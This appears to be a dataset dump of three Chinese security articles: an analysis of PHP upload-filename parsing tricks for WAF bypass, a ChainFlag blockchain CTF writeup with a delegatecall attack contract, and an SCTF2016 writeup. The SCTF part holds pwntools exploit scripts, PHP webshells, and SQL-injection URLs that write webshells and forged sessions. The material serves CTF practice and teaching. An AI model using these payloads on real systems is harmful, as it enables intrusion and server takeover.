text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
[TOC]
## 简介
* PHP文件上传实现规范为[RFC1867](https://www.ietf.org/rfc/rfc1867.txt)
* 实验环境为 PHP 7.3.4 + nginx 1.20.1，关于上传部分的相关源码在[github](https://github.com/php/php-src/blob/PHP-7.3.4/main/rfc1867.c)，PHP解析`multipart/form-data` http请求体的入口[函数](https://github.com/php/php-src/blob/master/main/rfc1867.c#L672)在`SAPI_POST_HANDLER_FUNC`
* PHP源码调试环境[参考](https://blog.csdn.net/qq_16885135/article/details/119811883)
* PHP示例代码
<?php
var_dump($_FILES);
?>
* 文件解析的简要流程如下
## TRICKS
### 前向截断
* `\`和`/`会对文件名进行前向截断，类似`info.txt/info.php`的文件名经php处理后会变成`info.php`
* 调用栈如下
* 其中有一段[注释](https://github.com/php/php-src/blob/PHP-7.3.4/main/rfc1867.c#L1149)如下，其本意是为了解决IE上传文件时传递全路径名的问题
/* The \ check should technically be needed for win32 systems only where
* it is a valid path separator. However, IE in all it's wisdom always sends
* the full path of the file on the user's filesystem, which means that unless
* the user does basename() they get a bogus file name. Until IE's user base drops
* to nill or problem is fixed this code must remain enabled for all systems. */
* 关键函数在[php_ap_basename](https://github.com/php/php-src/blob/PHP-7.3.4/main/rfc1867.c#L568),该函数会寻找`\`和`/`字符最后出现的位置，并从该位置截断字符串，从而造成了前向的截断
static char *php_ap_basename(const zend_encoding *encoding, char *path)
{
char *s = strrchr(path, '\\');
char *s2 = strrchr(path, '/');
if (s && s2) {
if (s > s2) {
++s;
} else {
s = ++s2;
}
return s;
} else if (s) {
return ++s;
} else if (s2) {
return ++s2;
}
return path;
}
### 后向截断
* `00`会对文件名进行后向截断，类似`info.php(00)xxx`的文件名经php处理过后会变成`info.php`
* 在解析`header`的[时候](https://github.com/php/php-src/blob/master/main/rfc1867.c#L253)，仅对内存进行了copy，内存视图如下
* [后续](https://github.com/php/php-src/blob/master/main/rfc1867.c#L541)解析`filename`时候使用`strlen`获取`filename`长度，`strlen`原型如下，在遇到`\0`,即内存中的`00`时，认为字符串结束了，也就造成了截断
头文件：#include <string.h>
strlen()函数用来计算字符串的长度，其原型为：
unsigned int strlen (char *s);
【参数说明】s为指定的字符串。
strlen()用来计算指定的字符串s 的长度，不包括结束字符"\0"。
* 同样的，`00`可以对`$_POST` **变量名** 也可以进行截断，对`$GET`，`$_COOKIE`等变量名添加`00`会导致`400`错误
* 示例代码
<?php
var_dump($_POST);
* 正常请求
* 在`$_POST` **变量名** 中添加`00`后，可以看到`postxxx`变为了`post`
* 但是在`$_POST` **变量值** 中添加`00`则不受影响，但是会使得字符串长度加`1`
### 文件名末尾的`\`字符会被忽略
* 如图所示
* 关键函数在[php_ap_getword](https://github.com/php/php-src/blob/PHP-7.3.4/main/rfc1867.c#L568)，当出现`\+quote`这样相连的两个字符时，会忽略`\`只取`quote`的值
static char *php_ap_getword(const zend_encoding *encoding, char **line, char stop)
{
char *pos = *line, quote;
char *res;
while (*pos && *pos != stop) {
if ((quote = *pos) == '"' || quote == '\'') {
++pos;
while (*pos && *pos != quote) {
// 此处会忽略 \ 字符
if (*pos == '\\' && pos[1] && pos[1] == quote) {
pos += 2;
} else {
++pos;
}
}
if (*pos) {
++pos;
}
} else ++pos;
}
if (*pos == '\0') {
res = estrdup(*line);
*line += strlen(*line);
return res;
}
res = estrndup(*line, pos - *line);
while (*pos == stop) {
++pos;
}
*line = pos;
return res;
}
### `;`可以影响文件名解析的结果
* 类似`filename=info.php;.txt;`这样的字符串经过PHP处理后，会变成`info.php`， **注意`filename`的值没有用双引号包裹,用双引号包裹会导致失败**
* 在解析`Content-Disposition`时，会先使用`;`符号进行分词，然后使用`=`进行分词。所以，类似`filename=info.php;.txt;`这样的字符串第一次分词后结果为`filename=info.php`和`/txt`，第二次分词时就将`filename`解析为了`info.php`,[大致流程](https://github.com/php/php-src/blob/PHP-7.3.4/main/rfc1867.c#L813)如下
SAPI_API SAPI_POST_HANDLER_FUNC(rfc1867_post_handler) /* {{{ */
{
//...
// 使用 ; 进行分词
while (*cd && (pair = getword(mbuff->input_encoding, &cd, ';')))
{
//...
// 按照 = 进行解析
if (strchr(pair, '=')) {
// ...
}
// ...
}
// ...
}
### 双写`filename`
* php解析`Content-Disposition`时，按照从前到后的顺序，如果后面有相同的变量名，则会进行值的覆盖，[关键代码](https://github.com/php/php-src/blob/PHP-7.3.4/main/rfc1867.c#L813)
### 失败的上传 - 1
* `filename`首字符为`00`时，上传会失败。如下所示，在`filename`首字符前插入`00`，导致上传失败
* [关键代码](https://github.com/php/php-src/blob/PHP-7.3.4/main/rfc1867.c#L1000)
if (filename[0] == '\0') {
#if DEBUG_FILE_UPLOAD
sapi_module.sapi_error(E_NOTICE, "No file uploaded");
#endif
cancel_upload = UPLOAD_ERROR_D;
}
### 失败的上传 - 2
* 当`name`首字符为`]`时，也会导致上传失败,如下所示
* [关键代码](https://github.com/php/php-src/blob/PHP-7.3.4/main/rfc1867.c#L954)，当`*tmp == ']'`时，`skip_upload = 1`，导致了后续处理时，忽略了上传的文件
while (*tmp) {
if (*tmp == '[') {
c++;
} else if (*tmp == ']') {
c--;
if (tmp[1] && tmp[1] != '[') {
skip_upload = 1;
break;
}
}
if (c < 0) {
skip_upload = 1;
break;
}
tmp++;
}
## 总结
* 实战时，以上各种技巧可以灵活组合
* 以上的tricks基于[y4tacker](https://y4tacker.github.io/)的[文章](https://y4tacker.github.io/2022/06/21/year/2022/6/%E6%8E%A2%E5%AF%BBJava%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2waf%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF%E7%B3%BB%E5%88%97%E4%BA%8C/#%E7%81%B5%E6%B4%BB%E7%9A%84parseQuotedToken)以及php源码得来，相信深读源码的话，会有更多的tricks
## 参考
* <https://www.ietf.org/rfc/rfc1867.txt>
* <https://github.com/php/php-src/tree/PHP-7.3.4>
* <https://www.jianshu.com/p/894efc7e67a5>
* <https://blog.csdn.net/qq_16885135/article/details/119811883>
* <https://y4tacker.github.io/2022/06/21/year/2022/6/%E6%8E%A2%E5%AF%BBJava%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%B5%81%E9%87%8F%E5%B1%82%E9%9D%A2waf%E7%BB%95%E8%BF%87%E5%A7%BF%E5%8A%BF%E7%B3%BB%E5%88%97%E4%BA%8C/#%E7%81%B5%E6%B4%BB%E7%9A%84parseQuotedToken> | 社区文章 |
# 区块链CTF OJ平台ChainFlag -Counter-Strike Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
[ChainFlag](https://chainflag.org/)是一个区块链主题的CTF
OJ平台，由[iczc](https://github.com/iczc) [pikachu](https://github.com/hitcxy)
[PandaTea](https://github.com/PandaTea) 等师傅创建
，目前平台还在完善中，后续会逐步添加题目，个人感觉现有题目质量很高，值得一做。这里分享下自己做题的过程。
## Counter-Strike
### 题目简介
题目给了一个delegatecall的提示，以及一个链接地址，连接服务器返回如下信息
Welcome to Counter-Strike! You are cop now! Demolition bomb and get your flag!
We design a pretty easy contract game. Enjoy it!
1. Create a game account
2. Deploy a game contract
3. Request for flag
4. Get source code
Game environment: Ropsten testnet
Option 1, get an account which will be used to deploy the contract;
Before option 2, please transfer some eth to this account (for gas);
Option 2, the robot will use the account to deploy the contract for the problem;
Option 3, use this option to obtain the flag after set power_state == false.
Option 4, use this option to get source code.
You can finish this challenge in a lot of connections.
[-]input your choice:
题目的环境为Ropsten测试网络
，其中选项一用于获得一个部署合约的账户，在向账户转移一部分ETH后，选项二将以此账户创建题目的相关合约，选项三用于在将合约中的power_state
设置为false后获取flag,选项四可以获取源码，获取源码如下：
pragma solidity ^0.5.10;
contract Launcher{
uint256 public deadline;
function setdeadline(uint256 _deadline) public {}
}
contract EasyBomb{
bool private hasExplode = false;
address private launcher_address;
bytes32 private password;
bool public power_state = true;
bytes4 constant launcher_start_function_hash = bytes4(keccak256("setdeadline(uint256)"));
Launcher launcher;
function msgPassword() public returns (bytes32 result) {
bytes memory msg_data = msg.data;
if (msg_data.length == 0) {
return 0x0;
}
assembly {
result := mload(add(msg_data, add(0x20, 0x24)))
}
}
modifier isOwner(){
require(msgPassword() == password);
require(msg.sender != tx.origin);
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier notExplodeYet(){
launcher = Launcher(launcher_address);
require(block.number < launcher.deadline());
hasExplode = true;
selfdestruct(msg.sender);
_;
}
constructor(address _launcher_address, bytes32 _fake_flag) public {
launcher_address = _launcher_address;
password = _fake_flag ;
}
function setCountDownTimer(uint256 _deadline) public isOwner notExplodeYet {
launcher_address.delegatecall(abi.encodeWithSignature("setdeadline(uint256)",_deadline));
}
}
### 题目分析
题目要求我们将合约EasyBomb中的power_state全局变量变为false,首先分析源码发现合约中没有直接改变power_state变量的函数，根据提示delegatecall，我们重点关注setCountDownTimer函数。setCountDownTimer函数在满足isOwner和notExplodeYet的条件下会delegatecall调用执行launcher_address的setdeadline(uint256)函数。
关于delegatecall的调用，相关的介绍文章有很多，这里只是简要介绍一下，使用delegatecall调用后内置变量 msg
的值不会修改为调用者，但执行环境为调用者的运行环境。相当于将外部的launcher_address合约中的setdeadline(uint256)函数拷贝到EasyBomb合约中。利用这样的规则有可能将EasyBomb合约的power_state全局变量变为false。
调用的外部合约launcher_address在部署EasyBomb合约时确定，题目所给的源码中合约Launcher的setdeadline(uint256)函数没有具体内容，如果为空的话就没有啥后续的思路了，这里猜测是没有给出Launcher合约的具体源码，需要我们部署环境逆向分析查看。
于是我这里按照流程创建题目环境，首先选择选项一：
[-]input your choice: 1
[+]Your game account:0x6C7795dF1B3f669A94d55456028F0fe385dCBee0
[+]token: 1ddOYSEmhK/seRkPvs/javUgC1t4LsD4bUix6YldXFBxgueMW8imUjZFs+zlrVf9id9gDBhcp9Z2KpqdBhznp4W7f219owMkQiCLtb7LMzhTE0psUrtc9hGmBLWCAUtsvbkCk13SsHz36N72pOCtGhd41pRSE/MJcglCJWcjaZM=
[+]Deploy will cost 117808 gas
[+]Make sure that you have enough ether to deploy!!!!!!
这里我按照题目提示向指定账户0x6C7795dF1B3f669A94d55456028F0fe385dCBee0转了0.2eth（Ropsten
测试链可以通过测试水管免费获得eth）,然后选择选项二，输入token，获得创建合约的hash。
[-]input your choice: 2
[-]input your token: 1ddOYSEmhK/seRkPvs/javUgC1t4LsD4bUix6YldXFBxgueMW8imUjZFs+zlrVf9id9gDBhcp9Z2KpqdBhznp4W7f219owMkQiCLtb7LMzhTE0psUrtc9hGmBLWCAUtsvbkCk13SsHz36N72pOCtGhd41pRSE/MJcglCJWcjaZM=
[+]new token: ZxzHnKF98xMFzCH8tFd2YxtoEaN83nANz8BqvaDL2g8gF5Dz6w6I7W3odE/8oAPu/UOXPPx3zkaTose+SpIS3b8Q6zvN2Py0HPg49no42AoOxVFW72IwXC2vEclCYXpmMGwk/4ru5Ytwu94PXIjWmEMdMF3tSjQUjrHZcy4mNAhiEYzVo2TwF8hsP0Mo5nj6FIg19HMMLP3BFAtlFc4M0Q==
[+]Your goal is to set power_state into false in the game contract
[+]Transaction hash: 0x7e5348c2b4d72eecd6c2cde43b265f6cd4f63d1f858ae0da69f92c7a7eb2273c
查看[交易](https://ropsten.etherscan.io/tx/0x7e5348c2b4d72eecd6c2cde43b265f6cd4f63d1f858ae0da69f92c7a7eb2273c)
可以发现，创建合约的账户为我们之前转账的账户0x6C7795dF1B3f669A94d55456028F0fe385dCBee0，新创建合约地址为0xe80f24f8b07f54371d43835527fe76965100ad55，查看转账账户[0x6c7795df1b3f669a94d55456028f0fe385dcbee0](https://ropsten.etherscan.io/address/0x6c7795df1b3f669a94d55456028f0fe385dcbee0)发现在创建题目环境之前还创建了一个合约0x3d8375a8840dc97e2678b95850ddcf9ab9be61c6，我们暂时不知道这个合约与题目的关联。重新回到[交易](https://ropsten.etherscan.io/tx/0x7e5348c2b4d72eecd6c2cde43b265f6cd4f63d1f858ae0da69f92c7a7eb2273c)的界面，查看Input
Data，内容如下：
0x6080604052.......a8717cf0176ca1d650aa35b3dd70339d6564736f6c634300051000320000000000000000000000003d8375a8840dc97e2678b95850ddcf9ab9be61c6000000000000666c61677b646f6e4c65745572447265616d4265447265616d7d
这里省略了中间的内容为合约的具体内容，我们重点关注末尾的数据：
0000000000000000000000003d8375a8840dc97e2678b95850ddcf9ab9be61c6000000000000666c61677b646f6e4c65745572447265616d4265447265616d7d
由源码可知，合约EasyBomb的创建函数 constructor 需要两个变量输入，分别作为 _launcher_address以及
_fake_flag的值，其中
_launcher_address正是转账账户在创建题目环境之前创建的合约。除此之外，我们也可以通过获取合约EasyBomb的全局存储空间的值获取
_launcher_address的值。对 _launcher_address的合约反编译结果如下：
def storage:
deadline is uint256 at storage 0
def deadline() payable:
return deadline
def _fallback() payable: # default function
revert
def unknown62ff2c65(uint256 _param1) payable:
require calldata.size - 4 >= 32
deadline = _param1
其中unknown62ff2c65函数就是setdeadline(uint256)，函数将storage[0]处存储的值改变为函数的参数_param1。对应到合约EasyBomb的storage[0]，就是改变了EasyBomb的全局变量hasExplode以及launcher_address，调用输入的参数是我们可以控制的变量因此可以改变delegatecall调用的合约为我们自己创建的合约，并完成我们需要的操作。为了能够顺利调用函数setCountDownTimer，需要通过两个修饰器isOwner和notExplodeYet，下面我们分析如果通过这两个函数。
function msgPassword() public returns (bytes32 result) {
bytes memory msg_data = msg.data;
if (msg_data.length == 0) {
return 0x0;
}
assembly {
result := mload(add(msg_data, add(0x20, 0x24)))
}
}
modifier isOwner(){
require(msgPassword() == password);
require(msg.sender != tx.origin);
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
修饰器isOwner一共有三个条件，一是要求msgPassword()的返回值等同于全局变量password，二是要求消息的直接发送者不等同于交易原始的发送者，三是要求消息的直接发送者的代码段大小为0。
首先看第一个要求，msgPassword()返回的是msg.data
0x44位置之后的值，msg.data就是调用合约函数时的inputdata，一般前4个字节是表示的函数名，后面是函数的参数，要满足条件需要我们构造输入数据使得0x44位置后的值为password，而password的值就是创建EasyBomb合约时的参数
_fake_flag，即0x000000000000666c61677b646f6e4c65745572447265616d4265447265616d7d。
第二个要求msg.sender != tx.origin，要求我们不能通过账户直接调用合约函数，可以通过构建一个合约调用函数。
第三个要求直接调用者的代码长度为0，在满足第二个条件的基础上，这里要用到一个小技巧，合约创建过程中的代码长度就是0，因此我们的攻击合约需要将攻击代码放在合约的构建函数constructor中。
下面是第二个修饰器notExplodeYet:
modifier notExplodeYet(){
launcher = Launcher(launcher_address);
require(block.number < launcher.deadline());
hasExplode = true;
selfdestruct(msg.sender);
_;
}
这个的修饰器需要满足合约调用函数所在的区块数低于设置的值，测试分析这个launcher.deadline()一般设置要不创建时大一定的值，所以只要在一定时间内就没有什么影响，如果创建环境时间过长那就没有办法过这个验证限制，只能通过题目的选项二重新构建环境。
通过以上分析，我们研究了如何通过两个修饰器，下面我梳理一下总体的攻击思路和流程：
（1）构建一个攻击合约，攻击载荷放在合约的constructor函数中，构建一个攻击用Launcher合约，将setdeadline(uint256）函数实现为修改power_state所在storage的值。
（2）通过攻击合约调用目标合约EasyBomb的setCountDownTimer函数，通过填充数据通过修饰器的校验，将全局变量launcher_address修改为上一步构建的攻击用Launcher合约的地址。
（3）再次通过攻击合约调用目标合约EasyBomb的setCountDownTimer函数，触发我们构建的攻击用Launcher合约的setdeadline(uint256）函数，实现修改power_state的值。
### 完整解题过程
攻击合约代码如下：
contract Launcher{
......
}
contract EasyBomb{
......
}
contract Launcherhack{
bool private hasExplode;
address private launcher_address;
bytes32 private password;
bool public power_state;
bytes4 constant launcher_start_function_hash = bytes4(keccak256("setdeadline(uint256)"));
Launcher launcher;
function setdeadline(uint256 _deadline) public {
power_state = false;
}
}
contract hackeasyboom{
constructor() public {
EasyBomb easyBomb = EasyBomb(0x5ac11A4ED7A810D0B0683ca70D3dF500ce969f8A);
Launcher target = Launcher(0x6a9bE26DbcfcB597Aef8144fdE7495848de32c75);
// target.address+00 +password 0x6a9bE26DbcfcB597Aef8144fdE7495848de32c75
address(easyBomb).call(abi.encodeWithSignature("setCountDownTimer(uint256)",
0x00000000000000000000006a9bE26DbcfcB597Aef8144fdE7495848de32c7500,
0x000000000000666c61677b646f6e4c65745572447265616d4265447265616d7d));
address(easyBomb).call(abi.encodeWithSignature("setCountDownTimer(uint256)",
0x00000000000000000000006a9bE26DbcfcB597Aef8144fdE7495848de32c7500,
0x000000000000666c61677b646f6e4c65745572447265616d4265447265616d7d));
}
}
首先创建合约Launcherhack，hackeasyboom的中的EasyBomb为题目地址，target为合约Launcherhack的地址，之后创建合约hackeasyboom完成攻击。 | 社区文章 |
# writeup_for_SCTF2016
|
##### 译文声明
本文是翻译文章，文章来源：Nu1L
译文仅供参考，具体内容表达以及含义原文为准。
PENTEST
**ETO(200)**
学到了姿势,盲注还可以这么搞= =测试了几发,发现是xpath的注入:
然后爆破不出来,根据提示说要利用可见字符,于是学到新技能:
就是利用:
存在的字符去盲注出密码。一发脚本,得到最后密码,其中有一位注不出来,猜了几个就猜出是m来了= =:
**Homework(200)**
随手注册一发,是发现可以利用’php://filter/read=convert.base64-encode/resource=’去读到源码,看一下注册的源码。看到了是用imagecreatefromgif等函数处理上传图片的,于是想起了http://www.freebuf.com/articles/web/54086.html:,然后就是改图片上传去包含就行了:
直接执行任意命令,拿到最后flag:
**Sycshell(200)**
依旧是先看源码,一开始对着index上的东西看了好久…在源码里发现内部资料:
本地添加host去访问,发现是张猫,看源码发现大量jsfuck,找工具进行解密:
发现目录,访问之:
用%0b.1e1可以绕过pass:
然后继续,发现能文件包含,读了下waf:
可以发现把phar以及zip禁了,然而…大写绕过就可以了,下面问题来了,如何去getshell,又学到了东西,利用LFI以及phpinfo去写缓存文件。
参考文章:http://www.freebuf.com/articles/web/79830.html,然后改了发脚本,因为这里可以用ZIP去绕过并读取文件,打包一个zip然后去读取不断上传,最终拿到shell:
<?php
$c=fopen("/tmp/hhh.php",'w');
fwrite($c,'<?php eval($_POST[f]);?>');
?>
**DrugMarket1(300)**
首先在404源码里面发现真正的网址:[http://drug.spentest.com/,访问一发,主页貌似没有很大用处,看下源码:](http://drug.spentest.com/,%E8%AE%BF%E9%97%AE%E4%B8%80%E5%8F%91,%E4%B8%BB%E9%A1%B5%E8%B2%8C%E4%BC%BC%E6%B2%A1%E6%9C%89%E5%BE%88%E5%A4%A7%E7%94%A8%E5%A4%84,%E7%9C%8B%E4%B8%8B%E6%BA%90%E7%A0%81:)
发现存在一个类似于留言评论的输入框,一开始想的是xss,结果随手试了试文件包含= =
然后发现居然可以读session的临时文件,测试了下,发现是直接把name写进session去,然后直接姓名写入一句话,直接成功拿到shell:
然而发现上去权限做的好死……尴尬了,又想是渗透题,现在这个的shell不是我们最终想要的那个shell,于是翻到配置文件,发现数据库的用户名和密码都是套路,很容易猜对了:
然后登入drug的数据库,利用upadte去xss打到drug的后台以及cookie:
然后登陆到后台:
目测是要执行命令,然后主办方说要绕waf,然后绕啊绕,发现空格也不行,但能用{IFS}去绕过,同时nc监听的端口只能是80,于是思路就明确了:
最终payload以及flag:
然后在自己的vps上连接就好了:
**Hackme(300)**
写在题目前面的话,这个题目真心不只值300分
拿到题目,发现存在注入点,但是问题在于空格被过滤了,使用/*111*/绕过,可以读取文件,尝试读取nginx的错误日志找到后台,然后尝试读取php文件权限不够。下午得到提示xss和管理员会查看备忘录,想到写xss到数据库中,发现确实可以x到数据但是没用,结合提示想到利用xss去读取浏览器缓存,方法无非就是伪造登录框,hook登录按钮,偷窃浏览器的已保存密码之类的,在比赛中因为不可能有人手动输入,所以最后可能的就是利用浏览器保存的密码。于是发送一个表单过去让他自动填上username和password,之后get回本地,得到密码nizhendeyongyuancaibudaomimade,这是对我们赤裸裸的嘲讽,登陆发现是文件下载,之后尝试下载本目录下所有文件,发现../
..被过滤了,但是只过滤了一次,使用…/./绕过下载其他的文件。源码见附件。发现一个session.php,里头源码是freebuf的http://www.freebuf.com/articles/web/90837.html这个文章,想到可控session,然后发现sql注入那里可以写文件到/tmp目录下,之后去读取php.ini发现session的存放位置是/tmp/,意味着session我们完全可控,另一个就是Path路径里包含了/tmp/,也就是说当遇到一个未知的类,spl_autoload_register会自动去Path路径里寻找"类名.inc"或者"类名.php",并自动include进来,而/tmp/目录又是完全可控的(sql注入写文件)。于是首先http://hackme.sctf.xctf.org.cn/index.php?id=0.0union/*!00000select*/'<?phpr$_GET[a]($_GET[b]);r?>'into/*111*/outfile'/tmp/albert6.php写入文件,然后http://hackme.sctf.xctf.org.cn/index.php?id=0.0union/*!00000select*/load_file/*000*/('/tmp/albert6.php')读取文件确认写进去了,然后http://hackme.sctf.xctf.org.cn/index.php?id=0.0union(/*!11111select*/'a|O:7:"albert6":0:{}'into/*1234*/outfile'/tmp/sess_albertchangalbertchangalbe')导出session
,然后带着session登陆后台,同时访问http://hackme.sctf.xctf.org.cn/05d6a8025a7d0c0eee5f6d12a0a94cc9/main.php?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};在web目录下生成c.php,密码为c之后访问,
成功执行phpinfo,然后去读取文件,发现并不能成功读取,猜测有waf,于是在http://hackme.sctf.xctf.org.cn/05d6a8025a7d0c0eee5f6d12a0a94cc9/目录下写入.user.ini
内容open_basedir=/,然后就可以直接读取上层目录了,尝试一下写入一个.user.ini来覆盖上层目录的open_basedir的设置。
耐心的等待5分钟,使用glob并结合file_get_contents,查找一下就能发现flag
在这里发现了flag
**MISC**
签到题(10)
直接微博询问即可,跟去年一模一样。。。都是套路
神秘代码(200)
拿到题目二进制查看图片发现0xFF 0xD8开头,马上搜索文件结尾标志0xFF 0xD9,找到压缩包r.zip。
r.zip包可以无限次解压。
期间尝试修改zip突破死循环,使用Stegsolve提取,然后做了非常多的无用功。直到官方提示。
开始安装stegdetect。
找到ftp://ftp.gwdg.de/pub/linux/misc/ppdd/jphs_05.zip。
然后尝试提取数据,开始猜口令。SCTF,SCTF2016,CTF,sycsec等不断尝试。
最后竟然发现是空口令。
拿到flag:SCTF{Hacking!}
**Misc300(300)**
首先分析pcap,最可疑的地方是qq.exe,而且紧接着有ssl流量
继续分析发现在百度盘下载了一个QQ.chm的文件,打开:
虽然没啥东西,但是为后面埋下了伏笔
二进制显示这个文件头是ITSF,也是个chm文件,打开
猜这个qq有问题
果然,这下pem知道了
放到wireshark里解密ssl流量
其中有个zip,打开得到一个记录文件
这个flag要修正下,按钮弹起后才输入,所以加个o
完整flag:sctf{wo_de_mi_ma_123xxoo}
**PWN**
**Pwn100(100)**
栈溢出,覆盖argv[1]读flag。
脚本:
#!/usr/bin/env python2
# -*- coding:utf-8 -*- from pwn import *
import os
# switches
DEBUG = 1
# modify this
io = remote('58.213.63.30',60001)
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
# define interactive functions here
# define exploit function here
def pwn():
ru('?')
payload = (504) * 'A' + p64(0x600DC0)
sn(payload)
io.interactive()
return
if __name__ == '__main__':
pwn()
**Pwn200(200)**
整数溢出+FSB
脚本:
#!/usr/bin/env python2
# -*- coding:utf-8 -*- from pwn import *
import os
# switches
DEBUG = 0
got_overwrite = 0x0804B164
# modify this
if DEBUG:
io = process('./pwn200_bd081fbfb950838cd093174ce5e1cf78')
else:
io = remote('58.213.63.30',50021)
if DEBUG: context(log_level='DEBUG')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
# define interactive functions here
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
ru(':')
sl('2')
ru('Exitn')
sl('2')
for i in xrange(3):
ru('Protegon')
sn('2')
sl(r'%' + str(got_overwrite) + 'c' + r'%' + '12$n')
sl(r'%' + str(0x0804A08E) + 'c' + r'%' + '24$n')
io.interactive()
return
if __name__ == '__main__':
pwn()
**Pwn300(300)**
堆溢出,伪造堆块触发unlink改指针。
脚本:
#!/usr/bin/env python2
# -*- coding:utf-8 -*- from pwn import *
import os
# switches
DEBUG = 0
# modify this
if DEBUG:
io = process('./pwn300_96ced8ceb93c5ddae73f8ed9d17b90ba')
else:
io = remote('58.213.63.30',61112)
if DEBUG: context(log_level='debug')
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
# define interactive functions here
def buy(size):
ru('Exitn')
sl('1')
ru(':')
sl(str(size))
return
def show(index):
ru('Exitn')
sl('2')
ru(':')
sl(str(index))
return rn(0x100)
def edit(index,content):
ru('Exitn')
sl('3')
ru(':')
sl(str(index))
ru(':')
sn(content)
return
def delete(index):
ru('Exitn')
sl('4')
ru(':')
sl(str(index))
return
ptr = 0x08049D80
# define exploit function here
def pwn():
if DEBUG: gdb.attach(io)
buy(256)
buy(256)
buy(256)
PAD_SIZE = 260
payload1 = PAD_SIZE * 'A' + p32(0x109+8)
edit(0, payload1)
fakechunk = p32(0) + p32(0x81) + p32(ptr-4) + p32(ptr) + 0x70*'A' + p32(0) + p32(0x80)
edit(2, fakechunk)
delete(1)
payload2 = 4*'A' + p32(0x08049D18)
edit(2, payload2)
buf = show(0)
free_addr = u32(buf[0:4])
libc_addr = free_addr - 0x00076c60
offset_system = 0x00040190
system_addr = libc_addr + offset_system
edit(0, p32(system_addr))
edit(1, '/bin/shx00')
delete(1)
io.interactive()
return
if __name__ == '__main__':
pwn()
**CODE**
**Code100(100)**
这题目真心的醉了。
首先 openssl rsa -in public.key -pubin -modulus -text分解出n,e
,之后yafu用factor秒分出q,p,使用rsatools.py生成私钥
然后自己写脚本解密
得到第一个密码。解压,同样的道理解密n,e,yafu分解,用rastools生成私钥,openssl rsautl -decrypt -in
level2.passwd.enc -inkey private2.pem -out /tmp/passwd2 && cat /tmp/passwd2
解密得到密码2,密码3同样
解压最后得到flag: SCTF{500_sI,pLE_tRE1S7Re_iN_rSa_AtTa3K_2_24CASF}
附上一血
**Code150(150)**
写在前面的话:这个题目。。。我们使用的是主办方绝对不希望我们使用的方式。。。我们当时也确实是没想到这个gcd的方式。。学习了,主办方应该是想考察我们数学功底,以CRT的原理中关于什么时候可以求解方程组为思路。但是我们纯粹变成了编程跑数据
(⊙﹏⊙ )b
首先尝试分解10个n,发现一个都不能分解,自己写了一个基于factor的分解质数的Python脚本,在亚马逊云弄了一个64核服务器上跑到第二天上午,终于跑出来一组:
20823369114556260762913588844471869725762985812215987993867783630051420241057912385055482788016327978468318067078233844052599750813155644341123314882762057524098732961382833215291266591824632392867716174967906544356144072051132659339140155889569810885013851467056048003672165059640408394953573072431523556848077958005971533618912219793914524077919058591586451716113637770245067687598931071827344740936982776112986104051191922613616045102859044234789636058568396611030966639561922036712001911238552391625658741659644888069244729729297927279384318252191421446283531524990762609975988147922688946591302181753813360518031
=
122281872221091773923842091258531471948886120336284482555605167683829690073110898673260712865021244633908982705290201598907538975692920305239961645109897081011524485706755794882283892011824006117276162119331970728229108731696164377808170099285659797066904706924125871571157672409051718751812724929680249712137
*
170289910812835465096338542997477487359435798641693381125276912070602548711328219190092923698137571174584001618243726404688552257457773360565493810569068383273664286929905167374986060851892496173584735684037889535771979124074591360189776288360130316240776662582509201693427241370225544170475960286150066498263
于是可以写脚本解密了:
import gmpy
p=122281872221091773923842091258531471948886120336284482555605167683829690073110898673260712865021244633908982705290201598907538975692920305239961645109897081011524485706755794882283892011824006117276162119331970728229108731696164377808170099285659797066904706924125871571157672409051718751812724929680249712137
q=170289910812835465096338542997477487359435798641693381125276912070602548711328219190092923698137571174584001618243726404688552257457773360565493810569068383273664286929905167374986060851892496173584735684037889535771979124074591360189776288360130316240776662582509201693427241370225544170475960286150066498263
e=65537
n=20823369114556260762913588844471869725762985812215987993867783630051420241057912385055482788016327978468318067078233844052599750813155644341123314882762057524098732961382833215291266591824632392867716174967906544356144072051132659339140155889569810885013851467056048003672165059640408394953573072431523556848077958005971533618912219793914524077919058591586451716113637770245067687598931071827344740936982776112986104051191922613616045102859044234789636058568396611030966639561922036712001911238552391625658741659644888069244729729297927279384318252191421446283531524990762609975988147922688946591302181753813360518031
print n==p*q
phi = (p-1)*(q-1)
d = gmpy.invert(e, phi)
c=0x68d5702b70d18238f9d4a3ac355b2a8934328250efd4efda39a4d750d80818e6fe228ba3af471b27cc529a4b0bef70a2598b80dd251b15952e6a6849d366633ed7bb716ed63c6febd4cd0621b0c4ebfe5235de03d4ee016448de1afbbe61144845b580eed8be8127a8d92b37f9ef670b3cdd5af613c76f58ca1a9f6f03f1bc11addba30b61bb191efe0015e971b8f78375faa257a60b355050f6435d94b49eab07075f40cb20bb8723d02f5998d5538e8dafc80cc58643c91f6c0868a7a7bf3bf6a9b4b6e79e0a80e89d430f0c049e1db4883c50db066a709b89d74038c34764aac286c36907b392bc299ab8288f9d7e372868954a92cdbf634678f7294096c7
msg = pow(c, d, n)
print msg
print ('0' + hex(msg)[2:]).decode('hex')
#sH1R3_PRlME_1N_rsA_iS_4ulnEra5le
得到数据之后写解压得到flag :SCTF{5o0_mAtI4E_TrE1SUre_ILn_rSA_a55aCk_3}
